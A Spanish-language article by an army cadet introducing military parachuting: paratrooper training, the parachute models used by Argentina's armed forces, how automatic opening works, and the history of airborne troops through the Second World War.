Paracaidismo Militar (1ª parte)

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Por Cadete de IV Año Miguel Alejandro ROSA


La probabilidad de tener combatir en la profundidad del territorio enemigo, aislado sin tener contacto con las propias tropas o permanecer aislado por eventualidades del combate por mayores tiempos de los que se establecen doctrinariamente, implica que los paracaidistas reciban una rigurosa instrucción. En la misma se destaca la preparación física que permite tener un nivel superior al resto de las tropas. Su preparación busca a que, individualmente, pueda desarrollar la máxima destreza en combate, lograr un alto espíritu de cuerpo, elevado sentido de pertenencia, continua predisposición ofensiva y la aptitud para aceptar el riesgo, todo ello matizado con periódica ejercitación consistente en lanzamiento desde aeronaves en vuelo. Las tropas de paracaidistas son livianas y rápidas para ser empleadas en los momentos iniciales de cualquier conflicto con la misión de conquistar un determinado objetivo hasta que se produzca su reemplazo por fuerzas más pesadas.

Antes de continuar y sumergirnos en la riquísima historia y evolución del Paracaidismo Militar, haremos una breve explicación sobre algunas cuestiones técnicas.

 

¿Qué es un paracaídas?

Podemos definir a un paracaídas como un dispositivo diseñado para contrarrestar la fuerza de la gravedad utilizando las fuerzas ejercidas por el aire en movimiento.
Existen diferentes tipos de paracaídas utilizados en las fuerzas armadas. Nos referiremos específicamente a los que equipan a nuestras FFAA:

  • Paracaídas de velocidad propia constante. Son aquellos capaces de modificar su velocidad de desplazamiento. Por ejemplo, el T-10 utilizado normalmente para el lanzamiento de cargas con un peso de hasta 12.5 kg. Cuentan con 30 cuerdas y poseen una velocidad de descenso, aproximada, de 5/6 m/s. Este equipamiento fue recientemente adquirido a los “Marine Corps”.
  • Paracaídas de velocidad propia variable. Son aquellos que, mediante la acción de comandos de maniobra, pueden modificar su velocidad de desplazamiento. Por ejemplo, los MC-1-1C incorporados por el Ejército Argentino en el año 2010 y aun en uso. Recientemente han sido incorporados los MC-1-1D, que son equipos, más modernos, de 13 kg de peso, disponen de 30 cuerdas y permiten un descenso de 4/5 m/s con una capacidad de suspensión de 160 kg y una velocidad propia de 8 nudos. Otro ejemplo de este material son los MC1-1D adquiridos a los EE. UU hace poco tiempo a través del Ministerio de Defensa.

Todo el material mencionado corresponde a la clasificación de paracaídas de apertura automática.

¿Como funciona un paracaídas?

Para responder de manera simple a esta común pregunta podemos decir que “es un elemento lleno de aire a presión que se convierte en un freno aerodinámico”.

Las fuerzas que intervienen en el descenso son la gravedad y la fuerza de la resistencia a la caída, ejercida por el aire. Analizando el conjunto de estas fuerzas actuantes, encontramos que la gravedad ejerce una fuerza de atracción hacia el suelo, mientras que la resistencia del aire se opone a la caída logrando un freno aerodinámico.

La apertura

Comenzaremos explicando la “apertura automática”, de utilización casi exclusiva en el paracaidismo militar.

Dividiremos este procedimiento en tres etapas.

  • En una primera etapa, o primer momento, el paracaídas se extiende, pero no se “infla”. Este es el momento donde se alcanza la mayor velocidad de descenso y de menor presión, interviniendo la depresión y sobrepresión.
  • La segunda etapa comienza con el llenado de aire en parte del velamen, produciéndose, como consecuencia, una mayor presión y una menor velocidad de descenso, lográndose un equilibrio entre el descenso y la resistencia aerodinámica.
    En el tercer momento se produce el inflado completo del velamen apareciendo una tercera fuerza de frenado, a la que llamaremos fuerza de retardo. Aquí es donde se produce la máxima tensión en las cuerdas.

Estas etapas trascurren en cuestión de segundos. El paracaidista, en plena caída libre, viene con las manos colocadas en la palanca de reserva, con las piernas juntas y el mentón pegado al pecho, contando mentalmente: “131,132,133”, controlando que el velamen complete totalmente el proceso de desplegado e inflado. La cuenta mental se realiza a modo que el paracaidista, al máximo de adrenalina producto de la caída al vacío, contabilice el tiempo y mida correctamente lo que tarda el velamen en desplegarse por completo desde el mismo momento que abandona la aeronave. Asegurada la situación, comienza un descenso seguro y controlado y solo le queda esperar la llegada a tierra.

Historia y origen del paracaídas


“EL SUEÑO DE VOLAR, ES PROBABLEMENTE TAN ANTIGUO COMO LA HUMANIDAD”


Podríamos decir que, desde sus mismos comienzos, el hombre ha sentido una enorme curiosidad por saber que se siente al estar en suspensión en el aire. Esta inquietud lo ha llevado a intentar innumerables acciones con el objeto de lograr una tan deseada sustentación. Estos intentos llevaron a la muerte a muchos de aquellos que lo intentaron.

Remontarnos al inicio del paracaidismo nos lleva a Leonardo Da Vinci (1452-1519). Polimata italiano, pintor, ingeniero e inventor, cuya inquietud lo llevo a diseñar, en el año 1495, un “paracaídas” de tronco piramidal el cual llamo “baldaquino”. Podríamos, sin temor a equivocarnos que este elemento fue el inicio que encaminaría el futuro del paracaidismo, ya que en el baldaquino se basaron los fabricantes de los paracaídas.

Leonardo Da Vinci fue quien expreso aquella frase que se encuentra presente en la mente de todos aquellos que llevan alas en el corazón y que refleja el deseo tan ardiente del hombre de volar.


“UNA VEZ QUE HAYAS VOLADO, CAMINARAS POR LA TIERRA CON LOS OJOS PUESTOS EN EL CIELO POR QUE HAS ESTADO AHÍ Y QUIERES VOLVER”.


Continuando con la historia y luego de varios intentos fallidos, recién en el año 1912, el capitán Berni del ejército de los EE. UU., realiza el primer salto en paracaídas desde un avión. La novedad de este hecho es que por primera vez el paracaídas estaba colocado en una mochila alojado en el fuselaje del avión.

Charles Broadwick, en los EE. UU., construyo el primer paracaídas de mochila, diseñado para actuar como automático y adaptado más tarde a lo que sería una apertura de retardo. Para comprobar la sustentación de los velámenes, se lanzaron perros y pavos en masa.

La I Guerra Mundial

 Entre los años 1914 y 1918, en el marco de la I Guerra Mundial comenzó a utilizarse el paracaídas como medio de salvar las vidas de las tripulaciones de los globos que eran derribados por la artillería enemiga. Mas adelante, su empleo, por tripulaciones de aviones, correspondió a los alemanes, ya a fines del conflicto, y podemos afirmar que los germanos fueron los primeros en incorporar este elemento a su aviación.
El paracaidismo deportivo comenzó a desarrollarse a partir de 1920, con saltos desde plataformas fijas que eran por lo general torres especiales de gran altura.

Los primeros saltos de grupos militares desde aeronaves se realizaron, con elevados riesgos técnicos y graves accidentes fatales. Encontramos que, en 1927, el Ejército Italiano lanzo hasta 9 hombres. En 1934, los ejércitos soviéticos comenzaron los lanzamientos desde las alas de las aeronaves.

En el año 1936, Alemania formo su primer batallón de paracaidistas, llegando a incrementar los efectivos hasta conformar una División, la que luego tuvo una destacada participación en la invasión de Dinamarca, Noruega y Holanda, en 1940.

La II Guerra Mundial, como una extraordinaria contienda bélica sin precedentes, fue el campo propicio para realizar grandes experimentaciones sobre el arte militar, sugiriendo nuevas doctrinas y mortíferas armas, producto de una evolución tecnológica vertiginosa, que se mantuvo bajo estricto secreto. De sus ejemplos más ilustrativos, sobresale el empleo masivo de tropas de paracaidistas y/o de tropas aerotransportadas por parte de Alemania que infligió sorprendentes e ininterrumpidas derrotas a los ejércitos aliados.

Una de las operaciones de paracaidistas más destacadas fue el desembarco alemán, en mayo de 1941, en la isla de Creta.

A partir de 1940, los ingleses formaron sus propios batallones de paracaidistas mientras que los EE. UU. organizaron sus propias Divisiones llegando a disponer de cinco grandes organizaciones al final de la guerra. De esta última fuerza se destacan las Divisiones 82° y 101°, utilizadas durante el desembarco en Normandía y particularmente en Holanda en 1944.

Los británicos, después de Dunkerque, comenzaron a darle mayor énfasis al planeamiento de la defensa contra la amenaza constante de invasión por parte de tropas aerotransportadas.

Los británicos, después de Dunkerque, comenzaron a darle mayor énfasis al planeamiento de la defensa contra la amenaza constante de invasión por parte de tropas aerotransportadas.

Los alemanes, durante la invasión a Creta, sufrieron la baja de 4500 de sus paracaidistas, lo que condujo a que Hitler ordenara la cancelación de este tipo de operaciones.

Los americanos y sus aliados británicos habían quedado tan impresionados con la operación sobre Creta, que formaron sus propias organizaciones de tropas de paracaidistas y grupos aerotransportados en planeadores. En Arnhem, en 1944, los británicos tuvieron su Creta, y perdieron el 80 % de su I División Aerotransportada.

Al final de la guerra en Europa, las tropas de paracaidistas quedaron a la espera de operaciones que nunca llegarían e efectuarse. Mientras que en el Pacifico, a pesar de existir la oportunidad de usar las tropas paracaidistas para saltar de isla en isla, nunca fueron empleadas.

Como Fuerzas Exclusivas.

Pese a los fracasos y también a la ocurrencia de grandes tragedias, el concepto del paracaidismo surgió triunfante de la II Guerra Mundial, con una imagen de exclusividad y gran entusiasmo.

Un sueldo especial, el uso de insignias distintivas o el uso del brevet sumado a un aire de confianza que mostraba cada miembro de una unidad paracaidista, reflejaba que había logrado una importante victoria sobre si mismo. Inadvertidamente, esta especialidad había puesto a prueba el valor y motivaciones, aspectos relevantes para crear un grupo de fuerzas selectas que, con el tiempo, se transformarían en un Cuerpo de Elite.

Tan popular se había vuelto la imagen del paracaidista en el Ejército de EE. UU., que, a los soldados, en general, se les permitía y estimulaba a que tomaran el curso de paracaidismo aun cuando luego no fueran destinados a esas unidades.

Como conclusión del empleo de las tropas Aerotransportadas durante la II GM, podemos decir que las bajas sufridas, los errores, las tragedias y las percepciones erróneas no fueron exclusivas del concepto del aerotransporte, sobreviviendo en el tiempo, contrastando el hecho que otros sistemas de armas fueron desapareciendo. Ciertamente, en términos de gloria, los paracaidistas triunfaron. Las razones: el valor, la tenacidad, la resistencia y otros atributos deseables, llevaron a que lograran los objetivos con menos equipo que el que disponían otras unidades convencionales. Más allá que la gloria trascienda de la efectividad, también es solo necesario el valor y el arrojo, pero esencialmente es preciso que haya un juicioso criterio de quienes conducen para utilizar el entusiasmo y abnegación de las tropas jóvenes.


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